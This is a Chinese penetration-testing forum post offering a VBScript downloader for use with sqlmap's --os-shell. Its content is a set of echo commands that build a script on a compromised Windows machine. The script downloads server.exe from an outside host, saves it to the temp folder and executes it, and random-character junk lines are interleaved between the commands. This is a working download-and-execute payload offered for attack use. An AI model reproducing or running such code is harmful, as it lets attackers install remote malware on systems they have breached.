中国网络渗透测试联盟
标题:
vbs下载者，适合sqlmap --os-shell使用
[打印本页]
作者:
admin
时间:
2016-4-12 16:08
标题:
vbs下载者，适合sqlmap --os-shell使用
echo ^Set Post = CreateObject("Msxml2.XMLHTTP")^ >>c:\windows\temp\666999.txt
# y" t1 O4 t% d+ P
echo ^Set Shell = CreateObject("Wscript.Shell")^ >>c:\windows\temp\666999.txt
- | Y/ i0 U, g6 i' H; y* r; N, N) x
echo ^Post.Open "GET","http://www.baido.hk/server.exe",0^ >>c:\windows\temp\666999.txt
' W5 J& ^7 O1 _5 C W/ U* R
echo ^Post.Send()^ >>c:\windows\temp\666999.txt
9 S0 J4 ^) h' f$ J/ C4 K
echo ^Set aGet = CreateObject("ADODB.Stream")^ >>c:\windows\temp\666999.txt
0 P3 @3 q; v$ E6 f" l
echo ^aGet.Mode = 3^ >>c:\windows\temp\666999.txt
* s1 j' B/ o! X9 I, c( R
echo ^aGet.Type = 1^ >>c:\windows\temp\666999.txt
0 u# \% y& c `, C# d4 v5 N7 v
echo ^aGet.Open()^ >>c:\windows\temp\666999.txt
0 W8 K1 {6 ?# j5 f
echo ^aGet.Write(Post.responseBody)^ >>c:\windows\temp\666999.txt
0 u0 C) v/ R+ b% N" }
echo ^aGet.SaveToFile "c:\windows\temp\3.exe",2^ >>c:\windows\temp\666999.txt
8 b) l$ P7 a4 S3 G @& w; Y8 A1 V
echo ^wscript.sleep 1000^ >>c:\windows\temp\666999.txt
6 d2 S# P, V4 Z, x$ ^
echo ^Shell.Run ("c:\windows\temp\3.exe")^ >>c:\windows\temp\666999.txt
& {% e: W/ s. Z N( Y
! R/ c& C; }- k5 K
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2